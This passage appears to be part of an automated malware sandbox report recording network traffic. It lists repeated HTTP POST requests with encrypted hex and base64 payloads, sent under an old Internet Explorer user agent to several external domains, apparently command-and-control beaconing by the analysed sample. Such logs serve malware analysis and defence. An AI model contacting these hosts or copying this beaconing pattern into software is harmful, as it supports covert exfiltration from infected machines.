71 78 6c 78 73 59 35 4c 49 4b 50 79 58 78 4b 72 47 65 69 52 55 69 4b 2f 34 78 69 4d 4d 4f 69 2f 45 4f 30 78 6d 64 6f 6a 77 57 6c 32 70 66 58 6c 6c 76 71 45 56 49 48 44 33 4e 6c 59 32 52 71 43 30 45 37 33 54 65 44 70 39 6b 34 2f 4a 4c 37 65 73 59 4b 51 32 34 70 72 35 6f 6a 41 68 4a 6e 7a 42 77 56 6a 6f 56 75 64 4d 78 47 6e 52 59 6e 78 78 78 65 73 51 2f 70 53 77 74 46 66 54 33 5a 58 36 4c 46 33 4a 4b 48 39 73 38 6a 6e 53 49 54 30 6b 76 35 62 2b 52 71 6f 37 4d 68 65 4f 47 6f 65 67 53 67 65 38 33 51 2b 46 2b 46 50 6b 38 49 4c 4f 47 6c 69 79 65 6c 6e 38 66 45 39 5a 74 76 53 53 70 52 6f 50 72 52 6f 6f 35 32 6f 56 50 48 37 46 4d 36 59 44 65 53 48 41 4a 4b 37 6e 34 44 64 56 52 69 4f 49 38 58 67 6f 41 62 57 4c 67 64 38 68 42 46 30 64 30 38 4d 47 78 4b 47 61 6a 34 45 54 72 36 4f 67 6b 69 59 70 69 4b 78 6c 6b 4f 50 4a 54 49 59 6a 33 6f 67 50 44 48 51 4d 66 4e 74 70 6b 48 6f 4a 76 78 52 76 2f 62 6f 6a 32 42 30 76 79 75 5a 58 54 55 74 4c 4a 78 36 34 39 33 2f 66 53 4d 68 37 67 71 7a 4c 47 32 36 59 6d 5a 78 63 44 58 78 76 45 55 35 6e 2f 33 54 6c 38 72 79 2b 38 6d 44 43 35 59 62 30 49 49 73 38 76 42 34 6b 39 79 43 56 58 37 36 69 64 67 34 75 37 6b 52 64 4d 6e 66 63 34 38 2b 79 39 43 6d 36 67 5a 47 2b 76 47 73 30 51 6f 34 31 31 39 76 33 37 71 6f 61 42 6b 63 Data Ascii: WFavkfM81viGq/wmOt1TL5y7zbRZhiqD17ksR19h3xw1f1+Onq66m7zyA8yg4Dx3FO2crWeSEbYg6XQ3cWj+bmpBbDvvPf/orG+sY28Z03N/YZ3x1cUd1OGwKtRuRgV96RIqtaa+sQqSjlRlqxlxsY5LIKPyXxKrGeiRUiK/4xiMMOi/EO0xmdojwWl2pfXllvqEVIHD3NlY2RqC0E73TeDp9k4/JL7esYKQ24pr5ojAhJnzBwVjoVudMxGnRYnxxxesQ/pSwtFfT3ZX6LF3JKH9s8jnSIT0kv5b+Rqo7MheOGoegSge83Q+F+FPk8ILOGliyeln8fE9ZtvSSpRoPrRoo52oVPH7FM6YDeSHAJK7n4DdVRiOI8XgoAbWLgd8hBF0d08MGxKGaj4ETr6OgkiYpiKxlkOPJTIYj3ogPDHQMfNtpkHoJvxRv/boj2B0vyuZXTUtLJx6493/fSMh7gqzLG26YmZxcDXxvEU5n/3Tl8ry+8mDC5Yb0IIs8vB4k9yCVX76idg4u7kRdMnfc48+y9Cm6gZG+vGs0Qo4119v37qoaBkc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.aevga.comCache-Control: no-cacheData Raw: 75 46 33 4b 79 45 48 5a 49 76 6c 4d 31 45 76 4b 49 4f 45 63 2f 52 72 7a 6e 4b 4b 2f 6d 78 71 53 42 61 78 35 4d 6b 58 71 39 69 69 31 49 6e 6d 79 31 6d 36 5a 55 77 52 50 5a 4d 79 54 50 2b 4d 57 38 78 63 7a 4e 72 6c 71 55 46 7a 4c 69 43 66 67 61 78 4d 56 4f 56 7a 4f 59 55 5a 69 43 30 44 67 6f 52 30 6b 35 73 47 6b 75 38 34 54 4f 78 42 58 79 4b 4c 62 49 31 58 31 2b 6c 6c 50 43 6c 74 61 63 5a 4d 54 38 61 51 32 4e 65 6f 47 67 4e 7a 4d 38 4c 30 70 51 4a 61 45 34 6d 63 61 4f 48 62 37 68 39 4c 48 39 6d 5a 4f 74 77 4c 4a 4e 39 33 76 47 64 52 56 35 4c 73 47 43 6b 76 59 58 37 68 2f 42 30 72 4e 38 54 6f 56 30 47 61 7a 54 76 52 2b 59 66 56 6f 77 39 2f 64 58 6f 68 59 4f 52 58 55 64 71 6f 78 39 50 32 70 70 54 76 6c 32 43 69 4c 78 67 31 43 47 4e 44 38 67 48 32 44 4d 51 50 6f 78 2b 56 72 62 50 4a 59 36 69 77 57 46 6b 70 6a 54 56 37 37 6d 4f 39 37 70 36 7a 32 37 43 49 4c 44 35 6c 54 2f 6c 61 6c 69 36 63 76 54 58 68 43 46 71 6c 56 46 4a 72 62 7a 65 68 59 50 54 36 38 71 4d 33 57 48 43 41 34 66 77 4c 59 2f 44 79 32 6f 51 4a 4d 65 72 47 4c 67 4d 32 55 63 34 72 57 4b 57 55 77 6f 56 66 6e 44 68 49 76 6d 6a 4e 37 38 78 4e 79 74 44 34 66 32 55 6b 47 76 56 4f 7a 32 68 77 36 4a 52 48 36 52 46 31 4f 38 36 4b 6d 2f 37 72 43 36 6d 64 49 44 72 65 6c 39 37 6e 38 51 6e 35 74 54 55 7a 4f 62 5a 37 6e 53 6b 63 58 4c 4a 36 61 55 4c 67 6f 4f 58 65 42 6f 4b 4b 31 35 6d 2f 7a 62 76 66 50 39 37 73 31 6d 56 2f 77 46 54 36 78 41 30 6d 79 56 6d 77 77 4a 49 76 67 79 68 50 71 4e 53 7a 30 47 47 57 4e 64 42 68 31 4d 37 31 78 30 44 74 37 42 57 69 49 6a 45 41 50 34 33 54 54 52 44 52 50 4a 4c 45 6b 45 70 67 42 4d 66 71 47 77 61 30 71 35 37 59 38 4f 79 58 4a 49 69 6d 56 6d 6b 71 37 49 72 57 49 41 4b 73 6d 59 59 65 65 7a 64 69 32 67 38 78 4b 2b 31 47 2f 38 41 54 67 33 36 56 67 66 57 33 68 37 6f 55 3d Data Ascii: uF3KyEHZIvlM1EvKIOEc/RrznKK/mxqSBax5MkXq9ii1Inmy1m6ZUwRPZMyTP+MW8xczNrlqUFzLiCfgaxMVOVzOYUZiC0DgoR0k5sGku84TOxBXyKLbI1X1+llPCltacZMT8aQ2NeoGgNzM8L0pQJaE4mcaOHb7h9LH9mZOtwLJN93vGdRV5LsGCkvYX7h/B0rN8ToV0GazTvR+YfVow9/dXohYORXUdqox9P2ppTvl2CiLxg1CGND8gH2DMQPox+VrbPJY6iwWFkpjTV77mO97p6z27CILD5lT/lali6cvTXhCFqlVFJrbzehYPT68qM3WHCA4fwLY/Dy2oQJMerGLgM2Uc4rWKWUwoVfnDhIvmjN78xNytD4f2UkGvVOz2hw6JRH6RF1O86Km/7rC6mdIDrel97n8Qn5tTUzObZ7nSkcXLJ6aULgoOXeBoKK15m/zbvfP97s1mV/wFT6xA0myVmwwJIvgyhPqNSz0GGWNdBh1M71x0Dt7BWiIjEAP43TTRDRPJLEkEpgBMfqGwa0q57Y8OyXJIimVmkq7IrWIAKsmYYeezdi2g8xK+1G/8ATg36VgfW3h7oU=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 43 58 43 52 44 76 38 4e 50 76 6b 54 41 32 74 61 33 6b 4d 51 2f 49 67 49 46 78 64 56 65 69 36 65 6f 2f 31 48 61 76 69 66 44 5a 4a 5a 30 54 32 41 72 49 6d 56 44 58 70 69 79 38 43 51 7a 51 63 36 6d 35 50 70 70 59 37 39 4a 74 65 37 79 53 42 45 31 76 70 44 4f 57 50 58 4d 4b 39 2f 72 45 76 41 36 67 55 58 54 54 77 7a 38 4a 6e 44 4a 2f 41 4d 67 31 50 32 4e 6a 74 46 44 69 4f 43 61 71 5a 77 6f 68 38 59 39 50 71 71 53 75 59 6e 33 51 4c 2f 70 4b 32 69 32 51 61 6c 45 58 63 36 4a 59 4a 2f 35 2f 70 65 55 30 38 39 52 48 6f 49 2f 6e 45 44 37 4d 77 79 66 49 34 2b 6b 44 68 51 32 32 6e 65 6d 63 7a 58 49 6d 2f 31 64 41 55 42 7a 68 69 75 7a 32 6c 4e 78 34 45 61 4e 38 78 4b 2b 65 31 63 51 61 4c 39 38 56 42 6f 36 4a 53 70 50 34 41 4c 52 65 73 35 34 59 37 4f 6a 35 43 69 78 42 4a 64 44 41 4d 2b 74 69 49 55 72 6b 47 61 78 35 34 32 42 65 66 58 69 49 6c 37 36 66 68 72 70 65 34 66 41 48 76 5a 2f 32 4a 57 4a 59 50 55 43 61 62 36 31 66 4a 62 4c 50 43 30 32 6f 72 69 39 57 6f 32 4e 31 74 38 2b 71 6a 41 30 69 50 4d 76 74 34 6f 4c 54 6a 33 49 41 72 67 70 42 34 44 35 54 55 4a 61 2b 43 61 4c 53 58 55 51 46 30 46 55 63 66 51 76 78 32 63 4f 76 5a 4a 6a 31 71 52 58 6d 37 45 62 36 30 5a 73 51 4f 4c 6d 64 64 62 72 4a 6c 6c 69 76 64 30 31 65 48 75 35 4c 71 42 5a 6b 6e 79 38 2f 6a 68 75 76 30 62 42 77 51 6d 36 45 73 45 6f 6e 75 37 64 6d 30 69 69 41 64 71 4a 4c 70 5a 67 50 38 6b 37 41 5a 2b 63 74 56 32 71 71 43 64 55 47 72 54 6b 77 4b 43 6a 65 74 4b 45 6a 36 79 6c 39 52 72 33 2b 4a 35 42 34 34 68 6c 6e 56 35 42 69 32 58 43 64 51 78 70 6a 47 75 48 6e 44 4c 72 41 37 6f 46 49 37 56 45 66 30 6c 64 75 72 41 42 38 76 33 6e 45 6c 47 63 6b 75 4d 52 73 6d 52 55 2f 4c 43 37 51 3d 3d Data Ascii: CXCRDv8NPvkTA2ta3kMQ/IgIFxdVei6eo/1HavifDZJZ0T2ArImVDXpiy8CQzQc6m5PppY79Jte7ySBE1vpDOWPXMK9/rEvA6gUXTTwz8JnDJ/AMg1P2NjtFDiOCaqZwoh8Y9PqqSuYn3QL/pK2i2QalEXc6JYJ/5/peU089RHoI/nED7MwyfI4+kDhQ22nemczXIm/1dAUBzhiuz2lNx4EaN8xK+e1cQaL98VBo6JSpP4ALRes54Y7Oj5CixBJdDAM+tiIUrkGax542BefXiIl76fhrpe4fAHvZ/2JWJYPUCab61fJbLPC02ori9Wo2N1t8+qjA0iPMvt4oLTj3IArgpB4D5TUJa+CaLSXUQF0FUcfQvx2cOvZJj1qRXm7Eb60ZsQOLmddbrJllivd01eHu5LqBZkny8/jhuv0bBwQm6EsEonu7dm0iiAdqJLpZgP8k7AZ+ctV2qqCdUGrTkwKCjetKEj6yl9Rr3+J5B44hlnV5Bi2XCdQxpjGuHnDLrA7oFI7VEf0ldurAB8v3nElGckuMRsmRU/LC7Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 70 53 6b 2f 44 6b 79 33 73 50 68 47 30 7a 31 57 74 34 72 63 4c 46 39 34 65 4f 49 6b 39 6e 79 77 51 42 31 69 53 32 70 64 44 4c 4f 45 37 56 4d 79 39 4a 78 39 6e 74 70 45 6a 38 67 75 63 4c 6d 79 68 31 72 76 6c 68 2f 2b 47 2f 4b 5a 64 6e 6b 6d 71 73 30 33 5a 67 64 61 4a 57 44 32 53 76 34 70 66 70 31 2f 51 54 56 6c 63 7a 69 62 33 42 2b 6c 30 63 69 51 37 6c 58 4f 64 43 67 2f 51 37 55 72 32 41 52 45 52 34 76 62 59 36 31 47 67 32 65 34 50 6d 4a 38 6b 63 59 67 63 42 52 73 32 54 4c 64 44 44 45 6f 63 4d 2b 42 46 2b 6f 6e 77 50 79 64 52 48 36 71 51 65 2b 75 6b 53 62 55 79 68 55 50 57 6d 4e 4e 63 43 7a 57 7a 6d 79 32 36 6c 76 5a 43 74 61 39 4f 30 39 72 50 4c 46 5a 4f 30 42 72 69 58 62 34 72 70 53 44 58 2b 4b 4e 67 34 77 4d 65 39 34 50 6d 2f 6a 78 35 32 49 48 53 4f 76 2f 72 74 4a 70 52 55 54 6d 4b 41 51 42 2b 42 72 69 33 59 5a 79 54 55 51 77 49 61 70 65 59 4b 47 4a 63 35 78 52 42 49 6a 35 64 46 31 49 76 70 65 55 46 61 4d 39 68 75 52 58 4e 59 5a 33 47 78 52 69 46 70 45 70 67 65 33 2f 45 43 2f 6c 50 72 35 4e 44 31 63 53 78 53 33 36 71 41 47 71 63 43 2f 31 65 57 49 4e 70 64 56 71 78 47 68 63 4f 77 45 31 63 53 4e 65 57 6d 51 57 39 62 6e 51 64 6b 51 4f 7a 4a 54 6e 58 6f 7a 70 4e 79 61 53 2f 32 58 44 73 63 32 73 64 38 31 34 45 73 41 51 58 32 44 5a 2f 45 46 78 67 4c 35 5a 6d 32 62 31 35 73 62 38 4b 70 39 6d 68 56 76 49 32 68 6c 79 71 79 74 64 48 69 79 4c 4c 64 38 4d 46 7a 37 2f 69 45 53 64 6b 45 75 52 51 72 55 4d 39 41 66 4c 32 55 34 56 64 38 48 6e 5a 47 5a 53 43 42 4f 6b 79 35 50 52 61 48 64 30 42 4c 44 42 38 6a 6c 32 59 71 66 41 41 36 57 6d 4d 68 59 52 39 37 39 78 77 78 6d 79 79 46 68 4f 61 50 58 39 47 35 62 44 52 72 4b 73 55 69 76 69 5a 58 63 6a 33 48 4d 4c 78 31 76 79 2b 6a 72 59 61 4e 6a 61 44 53 79 6c 6f 53 77 3d Data Ascii: pSk/Dky3sPhG0z1Wt4rcLF94eOIk9nywQB1iS2pdDLOE7VMy9Jx9ntpEj8gucLmyh1rvlh/+G/KZdnkmqs03ZgdaJWD2Sv4pfp1/QTVlczib3B+l0ciQ7lXOdCg/Q7Ur2ARER4vbY61Gg2e4PmJ8kcYgcBRs2TLdDDEocM+BF+onwPydRH6qQe+ukSbUyhUPWmNNcCzWzmy26lvZCta9O09rPLFZO0BriXb4rpSDX+KNg4wMe94Pm/jx52IHSOv/rtJpRUTmKAQB+Bri3YZyTUQwIapeYKGJc5xRBIj5dF1IvpeUFaM9huRXNYZ3GxRiFpEpge3/EC/lPr5ND1cSxS36qAGqcC/1eWINpdVqxGhcOwE1cSNeWmQW9bnQdkQOzJTnXozpNyaS/2XDsc2sd814EsAQX2DZ/EFxgL5Zm2b15sb8Kp9mhVvI2hlyqytdHiyLLd8MFz7/iESdkEuRQrUM9AfL2U4Vd8HnZGZSCBOky5PRaHd0BLDB8jl2YqfAA6WmMhYR979xwxmyyFhOaPX9G5bDRrKsUiviZXcj3HMLx1vy+jrYaNjaDSyloSw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 6e 50 4b 62 2b 6d 6c 33 4a 50 6c 66 77 55 6c 37 4f 4e 6b 64 46 49 4b 37 52 47 6b 48 2b 61 45 55 72 52 41 42 30 6a 61 6e 33 70 4e 56 4b 65 34 66 79 5a 43 4f 32 2f 73 50 78 4e 52 62 35 57 31 68 2b 71 57 68 65 45 46 35 44 6c 47 56 49 2b 73 61 32 72 6e 4a 6d 4e 61 74 43 57 4c 33 42 4b 2b 6d 74 54 30 76 33 63 4d 4d 42 79 49 72 4f 6a 70 70 2b 41 51 49 54 39 2b 4a 41 53 56 55 74 50 41 32 77 70 43 73 62 48 52 35 4e 34 5a 59 6a 7a 2f 50 52 6a 58 56 68 45 5a 38 32 77 78 56 34 71 75 6b 55 6b 2f 41 75 72 4c 59 62 48 68 66 73 68 70 44 48 36 4e 54 2f 30 35 56 6e 47 36 34 4f 66 34 41 50 36 42 42 36 53 63 79 33 69 75 43 6b 39 76 72 75 48 35 77 59 6e 63 68 5a 4c 30 58 4a 61 43 79 5a 48 2f 6a 53 46 32 2f 77 39 32 73 4c 4b 57 2b 78 4b 48 6f 59 64 49 38 65 52 73 4f 41 53 73 75 30 67 31 53 76 53 6c 41 5a 6f 7a 62 73 6c 62 5a 77 49 37 46 66 52 49 72 4b 48 48 37 6a 6f 4e 2f 45 6c 42 74 4a 42 4b 56 54 6a 67 74 64 31 65 61 71 31 61 4e 2f 4a 63 39 69 5a 32 73 5a 52 76 32 56 4a 4b 31 58 57 49 49 49 62 6f 51 31 67 59 73 74 2f 4d 2b 69 71 75 54 2f 6b 4b 46 67 59 4b 2f 4c 67 42 6e 30 62 70 75 68 49 32 35 41 58 7a 37 73 45 36 44 4d 2b 4a 35 4a 35 33 41 74 31 37 51 73 4f 75 62 7a 74 55 42 4f 65 68 6a 6b 65 4c 54 7a 61 38 79 4b 7a 30 6d 4e 47 37 34 6b 65 33 64 30 4a 77 78 2b 41 74 52 58 6e 43 67 6f 62 71 76 75 42 68 49 42 33 76 6e 61 51 37 51 32 30 75 36 62 31 73 76 2b 59 4f 51 4a 36 30 42 67 79 78 62 51 4d 37 74 44 44 53 37 36 6c 4c 33 30 38 61 69 7a 68 36 4e 63 77 50 61 76 4d 45 59 31 41 70 76 77 6b 4a 33 6b 43 75 4f 57 58 32 2f 71 66 62 39 79 43 44 54 58 57 4d 46 51 79 30 33 70 50 51 41 34 5a 57 57 70 37 46 2b 6e 45 37 39 43 4c 57 77 43 64 57 52 36 65 63 6c Data Ascii: nPKb+ml3JPlfwUl7ONkdFIK7RGkH+aEUrRAB0jan3pNVKe4fyZCO2/sPxNRb5W1h+qWheEF5DlGVI+sa2rnJmNatCWL3BK+mtT0v3cMMByIrOjpp+AQIT9+JASVUtPA2wpCsbHR5N4ZYjz/PRjXVhEZ82wxV4qukUk/AurLYbHhfshpDH6NT/05VnG64Of4AP6BB6Scy3iuCk9vruH5wYnchZL0XJaCyZH/jSF2/w92sLKW+xKHoYdI8eRsOASsu0g1SvSlAZozbslbZwI7FfRIrKHH7joN/ElBtJBKVTjgtd1eaq1aN/Jc9iZ2sZRv2VJK1XWIIIboQ1gYst/M+iquT/kKFgYK/LgBn0bpuhI25AXz7sE6DM+J5J53At17QsOubztUBOehjkeLTza8yKz0mNG74ke3d0Jwx+AtRXnCgobqvuBhIB3vnaQ7Q20u6b1sv+YOQJ60BgyxbQM7tDDS76lL308aizh6NcwPavMEY1ApvwkJ3kCuOWX2/qfb9yCDTXWMFQy03pPQA4ZWWp7F+nE79CLWwCdWR6ecl
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 65 71 6c 4b 38 6b 4d 79 4a 50 6d 75 75 69 48 49 53 6a 4c 58 4e 32 78 70 37 63 58 70 76 65 39 66 4a 2b 52 2f 6a 6b 6b 38 41 4f 77 77 4b 6c 2f 35 4c 32 68 36 46 62 69 45 44 59 79 54 5a 49 42 4a 39 42 66 73 70 66 6c 78 63 50 72 35 4e 63 75 55 41 69 62 30 4a 56 61 4b 72 54 42 49 30 51 6d 5a 36 62 33 66 39 63 72 48 74 76 35 6d 30 66 77 4a 62 38 30 6b 5a 36 68 7a 68 44 46 70 76 38 4e 77 56 51 38 57 76 7a 46 76 39 70 69 6c 44 30 49 77 74 4a 75 58 4c 6d 56 42 69 4a 6e 64 68 51 7a 51 64 77 70 79 4b 57 39 63 55 42 32 50 44 59 62 37 58 54 41 36 2f 53 73 75 79 71 72 4c 78 70 4a 77 43 44 54 68 6b 2f 49 38 75 36 62 2f 6a 66 6c 4e 71 48 2b 71 64 44 4d 4f 67 31 76 74 4c 73 33 74 77 39 44 39 31 59 78 4d 6f 6c 6f 41 75 49 64 75 6d 6f 74 46 53 2f 35 37 73 47 43 54 52 30 70 50 45 33 65 68 73 76 75 77 77 6c 30 73 66 78 79 46 58 76 57 30 4f 2b 47 67 7a 43 42 6c 74 66 30 41 59 70 31 33 37 6b 50 61 50 78 7a 7a 48 36 71 6c 69 54 34 7a 32 34 55 44 31 58 67 6b 6f 50 77 6b 4f 78 76 78 75 61 36 44 41 2b 4b 50 76 48 57 74 41 30 66 63 45 76 69 68 41 6e 4f 7a 73 34 6b 67 35 37 49 44 33 30 48 33 43 77 57 54 55 53 56 30 57 54 7a 73 6a 6d 4a 79 37 4c 67 71 64 64 61 4d 76 54 52 68 47 48 35 58 57 45 64 37 49 35 70 4d 56 2b 55 4c 2b 4d 52 74 2f 59 56 48 39 6f 68 49 4f 41 58 65 54 46 78 30 2f 54 35 76 32 71 53 7a 39 59 45 46 47 73 59 45 68 31 75 52 4f 33 6b 46 70 36 61 48 55 73 4d 6b 71 48 44 66 62 71 5a 42 69 75 48 30 6e 54 74 31 37 64 32 54 4c 38 6c 79 77 6b 4d 33 42 4f 64 49 58 6a 47 57 57 44 79 55 69 30 47 6b 34 6f 70 68 35 66 4a 4a 79 52 72 46 34 64 67 75 5a 6d 52 74 76 31 6a 5a 63 59 4d 50 42 4c 30 56 4a 5a 6d 42 69 55 35 49 4a 75 41 77 76 4f 63 42 4b 6c 53 63 6d 7a 5a 36 2b 37 30 3d Data Ascii: eqlK8kMyJPmuuiHISjLXN2xp7cXpve9fJ+R/jkk8AOwwKl/5L2h6FbiEDYyTZIBJ9BfspflxcPr5NcuUAib0JVaKrTBI0QmZ6b3f9crHtv5m0fwJb80kZ6hzhDFpv8NwVQ8WvzFv9pilD0IwtJuXLmVBiJndhQzQdwpyKW9cUB2PDYb7XTA6/SsuyqrLxpJwCDThk/I8u6b/jflNqH+qdDMOg1vtLs3tw9D91YxMoloAuIdumotFS/57sGCTR0pPE3ehsvuwwl0sfxyFXvW0O+GgzCBltf0AYp137kPaPxzzH6qliT4z24UD1XgkoPwkOxvxua6DA+KPvHWtA0fcEvihAnOzs4kg57ID30H3CwWTUSV0WTzsjmJy7LgqddaMvTRhGH5XWEd7I5pMV+UL+MRt/YVH9ohIOAXeTFx0/T5v2qSz9YEFGsYEh1uRO3kFp6aHUsMkqHDfbqZBiuH0nTt17d2TL8lywkM3BOdIXjGWWDyUi0Gk4oph5fJJyRrF4dguZmRtv1jZcYMPBL0VJZmBiU5IJuAwvOcBKlScmzZ6+70=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 32 59 70 59 32 7a 64 6b 50 50 6e 79 2b 72 36 72 70 76 54 4d 76 59 41 58 4f 6d 48 74 47 49 78 71 57 78 4f 61 6f 65 7a 45 48 43 63 4d 6d 4d 61 31 69 55 4d 6f 6c 57 53 71 73 31 64 44 62 73 57 6f 41 45 57 46 58 63 45 6e 6f 46 62 63 59 59 66 32 4e 65 4d 72 42 6a 68 35 78 66 79 46 53 51 53 73 6c 37 42 71 39 70 4f 75 58 52 55 59 56 6b 54 41 63 53 30 51 74 34 31 49 61 5a 67 6a 35 38 72 39 68 2f 77 5a 59 75 7a 32 54 50 6e 65 65 4c 36 46 69 6e 33 5a 65 73 51 2f 32 59 4b 50 43 70 6d 52 57 44 31 57 61 45 61 36 61 6f 4f 43 4b 4b 2b 41 77 6f 44 39 7a 36 32 2b 74 67 75 5a 46 32 7a 4f 77 76 6e 6e 6b 78 63 44 51 77 59 59 7a 44 51 4c 49 30 6f 6f 64 42 6d 52 55 63 61 68 63 6d 61 6f 55 39 4f 6c 2b 53 69 66 31 54 4f 6e 30 41 64 33 31 6c 4a 43 78 32 65 56 58 32 52 75 56 56 6e 48 63 55 47 66 6b 4b 37 33 48 63 43 77 37 6a 34 55 31 6f 2f 4b 59 61 63 59 74 74 69 6e 42 4a 38 68 4e 33 6a 66 4d 32 64 6e 51 69 5a 6e 36 5a 61 34 6e 46 6d 56 69 39 50 41 6b 30 59 4d 72 33 6e 75 6d 6a 54 59 36 4b 4a 55 78 69 37 48 77 62 36 49 43 33 65 69 6d 30 4a 38 38 53 4f 74 4e 58 53 57 61 48 4e 61 77 68 53 74 54 76 6a 48 67 6f 4f 46 6d 31 50 37 5a 61 49 39 4d 66 6f 79 48 34 4d 53 46 53 41 6f 30 46 4d 52 2f 4e 79 62 2b 4f 6e 43 59 67 4d 2b 4b 7a 30 4c 39 59 4c 70 4c 75 7a 50 30 59 68 61 54 78 46 53 55 6d 74 63 58 6c 34 6e 52 63 57 73 49 4b 48 75 4a 58 68 61 68 4e 7a 42 63 41 76 47 4d 34 4b 35 5a 46 30 2f 38 6f 39 57 42 35 34 51 54 67 61 42 62 73 4d 78 59 41 45 43 44 6a 50 59 52 6e 50 6c 54 62 58 65 74 2b 65 66 55 41 36 65 55 77 73 63 37 30 54 74 65 2f 47 58 68 4b 78 74 6c 36 43 58 35 77 76 69 55 39 4e 67 47 4b 4f 34 4e 66 69 73 5a 36 37 48 31 63 65 79 38 71 6f 57 4c 38 4c 4f 32 2f 43 55 31 77 32 79 77 68 65 74 6d 7a 79 49 69 77 3d 3d Data Ascii: 2YpY2zdkPPny+r6rpvTMvYAXOmHtGIxqWxOaoezEHCcMmMa1iUMolWSqs1dDbsWoAEWFXcEnoFbcYYf2NeMrBjh5xfyFSQSsl7Bq9pOuXRUYVkTAcS0Qt41IaZgj58r9h/wZYuz2TPneeL6Fin3ZesQ/2YKPCpmRWD1WaEa6aoOCKK+AwoD9z62+tguZF2zOwvnnkxcDQwYYzDQLI0oodBmRUcahcmaoU9Ol+Sif1TOn0Ad31lJCx2eVX2RuVVnHcUGfkK73HcCw7j4U1o/KYacYttinBJ8hN3jfM2dnQiZn6Za4nFmVi9PAk0YMr3numjTY6KJUxi7Hwb6IC3eim0J88SOtNXSWaHNawhStTvjHgoOFm1P7ZaI9MfoyH4MSFSAo0FMR/Nyb+OnCYgM+Kz0L9YLpLuzP0YhaTxFSUmtcXl4nRcWsIKHuJXhahNzBcAvGM4K5ZF0/8o9WB54QTgaBbsMxYAECDjPYRnPlTbXet+efUA6eUwsc70Tte/GXhKxtl6CX5wviU9NgGKO4NfisZ67H1cey8qoWL8LO2/CU1w2ywhetmzyIiw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 43 58 43 52 44 76 38 4e 50 76 6b 54 41 32 74 61 33 6b 4d 51 2f 49 67 49 46 78 64 56 65 69 36 65 6f 2f 31 48 61 76 69 66 44 5a 4a 5a 30 54 32 41 72 49 6d 56 44 58 70 69 79 38 43 51 7a 51 63 36 6d 35 50 70 70 59 37 39 4a 74 65 37 79 53 42 45 31 76 70 44 4f 57 50 58 4d 4b 39 2f 72 45 76 41 36 67 55 58 54 54 77 7a 38 4a 6e 44 4a 2f 41 4d 67 31 50 32 4e 6a 74 46 44 69 4f 43 61 71 5a 77 6f 68 38 59 39 50 71 71 53 75 59 6e 33 51 4c 2f 70 4b 32 69 32 51 61 6c 45 58 63 36 4a 59 4a 2f 35 2f 70 65 55 30 38 39 52 48 6f 49 2f 6e 45 44 37 4d 77 79 66 49 34 2b 6b 44 68 51 32 32 6e 65 6d 63 7a 58 49 6d 2f 31 64 41 55 42 7a 68 69 75 7a 32 6c 4e 78 34 45 61 4e 38 78 4b 2b 65 31 63 51 61 4c 39 38 56 42 6f 36 4a 53 70 50 34 41 4c 52 65 73 35 34 59 37 4f 6a 35 43 69 78 42 4a 64 44 41 4d 2b 74 69 49 55 72 6b 47 61 78 35 34 32 42 65 66 58 69 49 6c 37 36 66 68 72 70 65 34 66 41 48 76 5a 2f 32 4a 57 4a 59 50 55 43 61 62 36 31 66 4a 62 4c 50 43 30 32 6f 72 69 39 57 6f 32 4e 31 74 38 2b 71 6a 41 30 69 50 4d 76 74 34 6f 4c 54 6a 33 49 41 72 67 70 42 34 44 35 54 55 4a 61 2b 43 61 4c 53 58 55 51 46 30 46 55 63 66 51 76 78 32 63 4f 76 5a 4a 6a 31 71 52 58 6d 37 45 62 36 30 5a 73 51 4f 4c 6d 64 64 62 72 4a 6c 6c 69 76 64 30 31 65 48 75 35 4c 71 42 5a 6b 6e 79 38 2f 6a 68 75 76 30 62 42 77 51 6d 36 45 73 45 6f 6e 75 37 64 6d 30 69 69 41 64 71 4a 4c 70 5a 67 50 38 6b 37 41 5a 2b 63 74 56 32 71 71 43 64 55 47 72 54 6b 77 4b 43 6a 65 74 4b 45 6a 36 79 6c 39 52 72 33 2b 4a 35 42 34 34 68 6c 6e 56 35 42 69 32 58 43 64 51 78 70 6a 47 75 48 6e 44 4c 72 41 37 6f 46 49 37 56 45 66 30 6c 64 75 72 41 42 38 76 33 6e 45 6c 47 63 6b 75 4d 52 73 6d 52 55 2f 4c 43 37 51 3d 3d Data Ascii: 